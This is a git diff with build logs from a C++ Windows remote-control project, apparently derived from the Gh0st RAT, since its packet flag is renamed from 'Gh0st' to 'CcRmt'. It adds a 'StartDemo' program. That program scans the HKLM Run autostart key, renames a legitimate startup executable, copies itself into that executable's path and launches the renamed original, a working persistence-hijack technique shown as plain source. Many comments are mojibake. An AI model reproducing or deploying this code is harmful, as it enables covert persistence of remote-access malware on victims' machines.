g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(719): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(768): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\include\iocpserver.cpp(914): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
正在生成代码
|
||||
All 473 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
All 523 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
|
||||
已完成代码的生成
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Release|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
||||
Release|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||
|
@@ -73,7 +73,7 @@ CIOCPServer::CIOCPServer() //
|
||||
m_nMaxConnections = 10000;
|
||||
m_nKeepLiveTime = 1000 * 60 * 3; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><CCBD>һ<EFBFBD><D2BB>
|
||||
// Packet Flag;
|
||||
BYTE bPacketFlag[] = {'G', 'h', '0', 's', 't'}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>͵ı<CDB5><C4B1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
BYTE bPacketFlag[] = {'C', 'c', 'R', 'm', 't'}; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݷ<EFBFBD><DDB7>͵ı<CDB5><C4B1><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><D2BB>
|
||||
memcpy(m_bPacketFlag, bPacketFlag, sizeof(bPacketFlag));
|
||||
}
|
||||
|
||||
@@ -343,6 +343,12 @@ void CIOCPServer::OnAccept()
|
||||
// Create the Client context to be associted with the completion port
|
||||
// <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD>ɶ˿<C9B6><CBBF><EFBFBD><EFBFBD>ӿͻ<D3BF><CDBB>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
ClientContext* pContext = AllocateContext();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʲôҲ<C3B4><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>bug<75><67><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֲ<EFBFBD><D6B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ô<EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD>WSAIoctl<74><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD>ᷢ<EFBFBD><E1B7A2><EFBFBD><EFBFBD>ַ<EFBFBD>ı<EFBFBD><C4B1><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4><EFBFBD>쳣
|
||||
// <20><><EFBFBD><EFBFBD>pContext2<74><32>pContext2<74>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ı䣬pContextû<74><C3BB><EFBFBD>ܵ<EFBFBD>Ӱ<EFBFBD><D3B0>
|
||||
// <20><>ֻ<EFBFBD><D6BB>debug<75>Ż<EFBFBD><C5BB><EFBFBD><EFBFBD>֣<EFBFBD><D6A3><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֣<EFBFBD>Ӧ<EFBFBD><D3A6><EFBFBD>DZ<EFBFBD><C7B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD>ɵģ<C9B5><C4A3><EFBFBD>ջû<D5BB><C3BB>ƽ<EFBFBD><EFBFBD>£<EFBFBD><C2A3>²<EFBFBD><C2B2><EFBFBD>
|
||||
ClientContext* pContext2 = pContext;
|
||||
// AllocateContext fail
|
||||
if (pContext == NULL)
|
||||
return;
|
||||
@@ -386,9 +392,10 @@ void CIOCPServer::OnAccept()
|
||||
klive.onoff = 1; // <20><><EFBFBD>ñ<EFBFBD><C3B1><EFBFBD>
|
||||
klive.keepalivetime = m_nKeepLiveTime;
|
||||
klive.keepaliveinterval = 1000 * 10; // <20><><EFBFBD>Լ<EFBFBD><D4BC><EFBFBD>Ϊ10<31><30> Resend if No-Reply
|
||||
SOCKET dwIoControlCode = pContext->m_Socket;
|
||||
WSAIoctl
|
||||
(
|
||||
pContext->m_Socket,
|
||||
dwIoControlCode,
|
||||
SIO_KEEPALIVE_VALS,
|
||||
&klive,
|
||||
sizeof(tcp_keepalive),
|
||||
@@ -412,7 +419,7 @@ void CIOCPServer::OnAccept()
|
||||
|
||||
OVERLAPPEDPLUS *pOverlap = new OVERLAPPEDPLUS(IOInitialize);
|
||||
|
||||
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD) pContext, &pOverlap->m_ol);
|
||||
BOOL bSuccess = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)pContext, &pOverlap->m_ol);
|
||||
|
||||
if ( (!bSuccess && GetLastError( ) != ERROR_IO_PENDING))
|
||||
{
|
||||
@@ -1284,6 +1291,8 @@ void CIOCPServer::ResetConnection(ClientContext* pContext)
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void CIOCPServer::DisconnectAll()
|
||||
{
|
||||
m_bDisconnectAll = true;
|
||||
|
@@ -14,6 +14,10 @@
|
||||
#include <afxcontrolbars.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
#include <afxwin.h>
|
||||
|
||||
#endif //PCH_H
|
||||
|
||||
|
BIN
CcRemote/CcRemote/res/1.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/2.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/3.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/4.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/Bitmap_4.bmp
Normal file
After Width: | Height: | Size: 10 KiB |
BIN
CcRemote/CcRemote/res/Bitmap_5.bmp
Normal file
After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 66 KiB After Width: | Height: | Size: 359 KiB |
BIN
CcRemote/CcRemote/res/audio.ico
Normal file
After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/background_list_online.bmp
Normal file
After Width: | Height: | Size: 264 KiB |
BIN
CcRemote/CcRemote/res/background_picture.bmp
Normal file
After Width: | Height: | Size: 5.8 MiB |
BIN
CcRemote/CcRemote/res/bmp00001.bmp
Normal file
After Width: | Height: | Size: 1.8 KiB |
Before Width: | Height: | Size: 3.2 KiB After Width: | Height: | Size: 22 KiB |
BIN
CcRemote/CcRemote/res/dot.cur
Normal file
After Width: | Height: | Size: 326 B |
BIN
CcRemote/CcRemote/res/ico32.png
Normal file
After Width: | Height: | Size: 2.6 KiB |
BIN
CcRemote/CcRemote/res/toolbar2.bmp
Normal file
After Width: | Height: | Size: 1.8 KiB |
BIN
StartDemo/.vs/StartDemo/v15/.suo
Normal file
BIN
StartDemo/Debug/StartDemo.exe
Normal file
31
StartDemo/StartDemo.sln
Normal file
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 15
|
||||
VisualStudioVersion = 15.0.28307.1022
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "StartDemo", "StartDemo\StartDemo.vcxproj", "{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x64.Build.0 = Debug|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Debug|x86.Build.0 = Debug|Win32
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.ActiveCfg = Release|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x64.Build.0 = Release|x64
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.ActiveCfg = Release|Win32
|
||||
{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {8DF98FBA-5DA4-49FA-9BC6-EFDD98E2CE5C}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
230
StartDemo/StartDemo/CRegOperate.cpp
Normal file
@@ -0,0 +1,230 @@
|
||||
#include "CRegOperate.h"
|
||||
|
||||
|
||||
|
||||
CRegOperate::CRegOperate(HKEY beginKey, TCHAR* path)
|
||||
{
|
||||
|
||||
dwType = REG_BINARY | REG_DWORD | REG_EXPAND_SZ | REG_MULTI_SZ | REG_NONE | REG_SZ;
|
||||
|
||||
|
||||
//Begin to get HKEY of path.
|
||||
Query(beginKey, path);
|
||||
|
||||
//test if queue is empty<74><79><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>Ƿ<EFBFBD>Ϊ<EFBFBD><CEAA>
|
||||
while (!keystack.empty())
|
||||
{
|
||||
|
||||
string newPath = keystack.front();
|
||||
|
||||
keystack.pop();
|
||||
|
||||
Query(beginKey, newPath.c_str());
|
||||
|
||||
}
|
||||
|
||||
//Release.
|
||||
RegCloseKey(beginKey);
|
||||
}
|
||||
|
||||
|
||||
CRegOperate::~CRegOperate()
|
||||
{
|
||||
vecKeyData.clear();
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
void CRegOperate::Query(HKEY rootKey, const char* path)
|
||||
|
||||
{
|
||||
vecKeyData.clear();
|
||||
vecKeyData.reserve(200);
|
||||
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
_tprintf(TEXT("\nProcess: %s :\n"), path);
|
||||
|
||||
#endif
|
||||
|
||||
HKEY hKey;
|
||||
if (RegOpenKeyEx(rootKey, path, 0, KEY_READ, &hKey) != ERROR_SUCCESS)
|
||||
{
|
||||
RegCloseKey(hKey);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
|
||||
TCHAR achKey[MAX_KEY_LENGTH]; // buffer for subkey name
|
||||
DWORD cbName; // size of name string
|
||||
TCHAR achClass[MAX_PATH] = TEXT(""); // buffer for class name
|
||||
DWORD cchClassName = MAX_PATH; // size of class string
|
||||
DWORD cSubKeys = 0; // number of subkeys
|
||||
DWORD cbMaxSubKey; // longest subkey size
|
||||
DWORD cchMaxClass; // longest class string
|
||||
DWORD cValues; // number of values for key
|
||||
DWORD cchMaxValue; // longest value name
|
||||
DWORD cbMaxValueData; // longest value data
|
||||
DWORD cbSecurityDescriptor; // size of security descriptor
|
||||
FILETIME ftLastWriteTime; // last write time
|
||||
|
||||
DWORD i, retCode;
|
||||
|
||||
|
||||
TCHAR achValue[MAX_VALUE_NAME];
|
||||
DWORD cchValue = MAX_VALUE_NAME;
|
||||
|
||||
|
||||
// Get the class name and the value count.
|
||||
|
||||
retCode = RegQueryInfoKey(
|
||||
hKey, // key handle
|
||||
achClass, // buffer for class name
|
||||
&cchClassName, // size of class string
|
||||
NULL, // reserved
|
||||
&cSubKeys, // number of subkeys
|
||||
&cbMaxSubKey, // longest subkey size
|
||||
&cchMaxClass, // longest class string
|
||||
&cValues, // number of values for this key
|
||||
&cchMaxValue, // longest value name
|
||||
&cbMaxValueData, // longest value data
|
||||
&cbSecurityDescriptor, // security descriptor
|
||||
&ftLastWriteTime); // last write time
|
||||
|
||||
|
||||
|
||||
// Enumerate the subkeys, until RegEnumKeyEx fails.
|
||||
|
||||
if (cSubKeys)
|
||||
{
|
||||
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
printf("Number of subkeys: %d\n", cSubKeys);
|
||||
|
||||
#endif
|
||||
|
||||
for (i = 0; i < cSubKeys; i++)
|
||||
{
|
||||
cbName = MAX_KEY_LENGTH;
|
||||
|
||||
retCode = RegEnumKeyEx(hKey, i,
|
||||
achKey,
|
||||
&cbName,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
&ftLastWriteTime);
|
||||
|
||||
if (retCode == ERROR_SUCCESS)
|
||||
{
|
||||
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
_tprintf(TEXT("(%d) %s\n"), i + 1, achKey);
|
||||
|
||||
#endif
|
||||
|
||||
//use achKey to build new path and input it into stack.
|
||||
|
||||
std::string newPath = "";
|
||||
|
||||
newPath.append(path);
|
||||
newPath.append("\\");
|
||||
newPath.append(achKey);
|
||||
keystack.push(newPath);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Enumerate the key values.
|
||||
|
||||
if (cValues)
|
||||
{
|
||||
#ifdef COMMAND_OUTPUT
|
||||
|
||||
printf("Number of values: %d\n", cValues);
|
||||
|
||||
#endif
|
||||
|
||||
for (i = 0, retCode = ERROR_SUCCESS; i < cValues; i++)
|
||||
{
|
||||
cchValue = MAX_VALUE_NAME;
|
||||
|
||||
achValue[0] = '\0';
|
||||
|
||||
unsigned char vari[70];
|
||||
|
||||
retCode = RegEnumValue(hKey, i,
|
||||
achValue,
|
||||
&cchValue,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL,
|
||||
NULL);
|
||||
|
||||
if (retCode == ERROR_SUCCESS)
|
||||
|
||||
{
|
||||
std::string filePath = "";
|
||||
std::string filePath2 = "";
|
||||
TCHAR szBuffer[255] = { 0 };
|
||||
DWORD dwNameLen = 255;
|
||||
DWORD rQ = RegQueryValueEx(hKey, achValue, 0, &dwType, (LPBYTE)szBuffer, &dwNameLen);
|
||||
|
||||
if (rQ == ERROR_SUCCESS)
|
||||
{
|
||||
filePath.append(szBuffer);
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>ļ<EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>vector<6F><72>
|
||||
vecKeyData.push_back(filePath);
|
||||
|
||||
|
||||
char* filePathData;
|
||||
filePathData = (char*)(filePath.c_str());
|
||||
if (filePathData[0] == 0x22)
|
||||
{
|
||||
filePathData += 1;
|
||||
for (size_t i = 0; i < strlen(filePathData); i++)
|
||||
{
|
||||
if (filePathData[i] == 0x22)
|
||||
{
|
||||
filePathData[i] = 0x00;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (size_t i = 0; i < strlen(filePathData); i++)
|
||||
{
|
||||
if (i<5)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (filePathData[i] == 0x20 &&
|
||||
filePathData[i-1] == 0x65 &&
|
||||
filePathData[i-2] == 0x78 &&
|
||||
filePathData[i-3] == 0x65 &&
|
||||
filePathData[i-4] == 0x2e
|
||||
)
|
||||
{
|
||||
filePathData[i] = 0x00;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
filePath2.append(filePathData);
|
||||
vecKeyPath.push_back(filePath2);
|
||||
//_tprintf(TEXT("(%d) %s %s\n"), i + 1, achValue, szBuffer);
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
//release.
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
34
StartDemo/StartDemo/CRegOperate.h
Normal file
@@ -0,0 +1,34 @@
|
||||
#pragma once
|
||||
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <fstream>
|
||||
#include <queue>
|
||||
#include <vector>
|
||||
using namespace std;
|
||||
|
||||
|
||||
class CRegOperate
|
||||
{
|
||||
public:
|
||||
CRegOperate(HKEY beginKey, TCHAR* path);
|
||||
~CRegOperate();
|
||||
|
||||
private:
|
||||
#define MAX_KEY_LENGTH 255
|
||||
#define MAX_VALUE_NAME 16383
|
||||
|
||||
DWORD dwType;
|
||||
queue<string> keystack;
|
||||
|
||||
//<2F><>ѯ<EFBFBD><D1AF>ֵ
|
||||
void Query(HKEY rootKey, const char* path);
|
||||
public:
|
||||
vector<string> vecKeyData;
|
||||
vector<string> vecKeyPath;
|
||||
};
|
||||
|
8
StartDemo/StartDemo/Debug/StartDemo.Build.CppClean.log
Normal file
@@ -0,0 +1,8 @@
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.pdb
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\vc141.idb
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\md5file.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\md5.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\cregoperate.obj
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\startdemo\startdemo\debug\startdemo.tlog\cl.write.1.tlog
|
15
StartDemo/StartDemo/Debug/StartDemo.log
Normal file
@@ -0,0 +1,15 @@
|
||||
CRegOperate.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\cregoperate.cpp(159): warning C4101: “vari”: 未引用的局部变量
|
||||
md5.cpp
|
||||
md5file.cpp
|
||||
StartDemo.cpp
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(64): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(101): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(78): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(106): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
f:\myapp\ccremote\startdemo\startdemo\startdemo.cpp(110): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明
|
||||
正在生成代码...
|
||||
StartDemo.vcxproj -> F:\myapp\CcRemote\StartDemo\Debug\StartDemo.exe
|
BIN
StartDemo/StartDemo/Debug/StartDemo.res
Normal file
@@ -0,0 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|F:\myapp\CcRemote\StartDemo\|
|
159
StartDemo/StartDemo/StartDemo.cpp
Normal file
@@ -0,0 +1,159 @@
|
||||
|
||||
|
||||
#include <time.h>
|
||||
#include <windows.h>
|
||||
#include <iostream>
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <fstream>
|
||||
#include <queue>
|
||||
#include <io.h>
|
||||
#include "CRegOperate.h"
|
||||
#include "md5file.h"
|
||||
|
||||
|
||||
char *GetFilename(char *p)
|
||||
{
|
||||
int x = strlen(p);
|
||||
char ch = '\\';
|
||||
char *q = strrchr(p, ch) + 1;
|
||||
|
||||
return q;
|
||||
}
|
||||
|
||||
|
||||
int _tmain(int argc, _TCHAR* argv[])
|
||||
{
|
||||
//初始化临界区全局原子变量
|
||||
HANDLE MutexHandle = CreateMutex(NULL, FALSE, TEXT("Cc28256")); //创建互斥体. 信号量为0. 有信号的状态.wait可以等待
|
||||
DWORD ErrorCode = 0;
|
||||
ErrorCode = GetLastError();
|
||||
if (ERROR_ALREADY_EXISTS == ErrorCode)
|
||||
{
|
||||
printf("对不起,程序已经启动一份了.这份即将关闭\r\n");
|
||||
CloseHandle(MutexHandle);
|
||||
|
||||
system("pause");
|
||||
}
|
||||
if (NULL == MutexHandle)
|
||||
{
|
||||
return 0; //表示句柄获取失败
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
CHAR path[MAX_PATH] = { 0 };
|
||||
HMODULE hm = GetModuleHandle(NULL);
|
||||
GetModuleFileName(hm, path, sizeof(path));
|
||||
string selfMD5 = getFileMD5(path);
|
||||
|
||||
//32位注册表
|
||||
TCHAR N1path[] = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";
|
||||
|
||||
//HKEY_CURRENT_USER
|
||||
CRegOperate test_reg(HKEY_LOCAL_MACHINE, N1path);
|
||||
//HKEY_CURRENT_USER
|
||||
|
||||
|
||||
string name_ = "update";
|
||||
char name2[MAX_PATH] = { 0 };
|
||||
char name3[MAX_PATH] = { 0 };
|
||||
char szCommandLine[MAX_PATH] = { 0 };
|
||||
bool isMD5Same = false;
|
||||
for (int i = 0; i < test_reg.vecKeyData.size(); i++)
|
||||
{
|
||||
if (_access(test_reg.vecKeyPath[i].c_str(), 0) != 0)
|
||||
{
|
||||
_tprintf(TEXT("%s,%s\n"), test_reg.vecKeyPath[i].c_str(), "不存在");
|
||||
continue;
|
||||
}
|
||||
|
||||
_tprintf(TEXT("%s,%s\n"), test_reg.vecKeyPath[i].c_str(), "存在");
|
||||
if (selfMD5 == getFileMD5(test_reg.vecKeyPath[i].c_str()))
|
||||
{
|
||||
isMD5Same = true;
|
||||
strcpy_s(name3, test_reg.vecKeyData[i].c_str());
|
||||
name_ = name_ + GetFilename(name3);
|
||||
strcpy(GetFilename(name3), name_.c_str());
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
|
||||
si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
|
||||
BOOL bRet = CreateProcess(
|
||||
NULL,//不在此指定可执行文件的文件名
|
||||
name3,//命令行参数
|
||||
NULL,//默认进程安全性
|
||||
NULL,//默认进程安全性
|
||||
FALSE,//指定当前进程内句柄不可以被子进程继承
|
||||
CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
|
||||
NULL,//使用本进程的环境变量
|
||||
NULL,//使用本进程的驱动器和目录
|
||||
&si,
|
||||
&pi);
|
||||
_tprintf(TEXT("%s\n"), "成功");
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
if (!isMD5Same)
|
||||
{
|
||||
for (int i = 0; i < test_reg.vecKeyData.size(); i++)
|
||||
{
|
||||
|
||||
strcpy_s(name2, test_reg.vecKeyPath[i].c_str());
|
||||
name_ = name_ + GetFilename(name2);
|
||||
strcpy(GetFilename(name2), name_.c_str());
|
||||
|
||||
strcpy_s(name3, test_reg.vecKeyData[i].c_str());
|
||||
name_ = name_ + GetFilename(name3);
|
||||
strcpy(GetFilename(name3), name_.c_str());
|
||||
|
||||
if (!rename(test_reg.vecKeyPath[i].c_str(), name2))
|
||||
{
|
||||
//strcpy_s(szCommandLine, test_reg.vecKeyData[i].c_str());
|
||||
STARTUPINFO si = { sizeof(si) };
|
||||
PROCESS_INFORMATION pi;
|
||||
si.dwFlags = STARTF_USESHOWWINDOW;//指定wShowWindow成员有效
|
||||
si.wShowWindow = TRUE;//此成员设为TRUE的话则显示新建进程的主窗口
|
||||
BOOL bRet = CreateProcess(
|
||||
NULL,//不在此指定可执行文件的文件名
|
||||
name3,//命令行参数
|
||||
NULL,//默认进程安全性
|
||||
NULL,//默认进程安全性
|
||||
FALSE,//指定当前进程内句柄不可以被子进程继承
|
||||
CREATE_NEW_CONSOLE,//为新进程创建一个新的控制台窗口
|
||||
NULL,//使用本进程的环境变量
|
||||
NULL,//使用本进程的驱动器和目录
|
||||
&si,
|
||||
&pi);
|
||||
_tprintf(TEXT("%s\n"), "成功");
|
||||
CopyFile(path, test_reg.vecKeyPath[i].c_str(), false);
|
||||
break;
|
||||
}
|
||||
name_.clear();
|
||||
name_ = "update";
|
||||
}
|
||||
}
|
||||
|
||||
//int _access(const char *pathname, int mode);位于头文件<io.h>中
|
||||
/*
|
||||
返回0存在 -1不存在
|
||||
mode的值和含义如下所示:
|
||||
00——只检查文件是否存在
|
||||
02——写权限
|
||||
04——读权限
|
||||
06——读写权限
|
||||
*/
|
||||
|
||||
//char s[] = "C:\\Program Files\\Realtek\\Audio\\HDA\\RtkAudioService64.exe";
|
||||
//if (_access(s, 0)==0)
|
||||
//{
|
||||
// _tprintf(TEXT("%s,%s\n"), s, "存在");
|
||||
//}
|
||||
//
|
||||
system("pause");
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
BIN
StartDemo/StartDemo/StartDemo.rc
Normal file
175
StartDemo/StartDemo/StartDemo.vcxproj
Normal file
@@ -0,0 +1,175 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>15.0</VCProjectVersion>
|
||||
<ProjectGuid>{6BC6014B-5F66-4E3D-B4E6-38D68021CB7D}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>StartDemo</RootNamespace>
|
||||
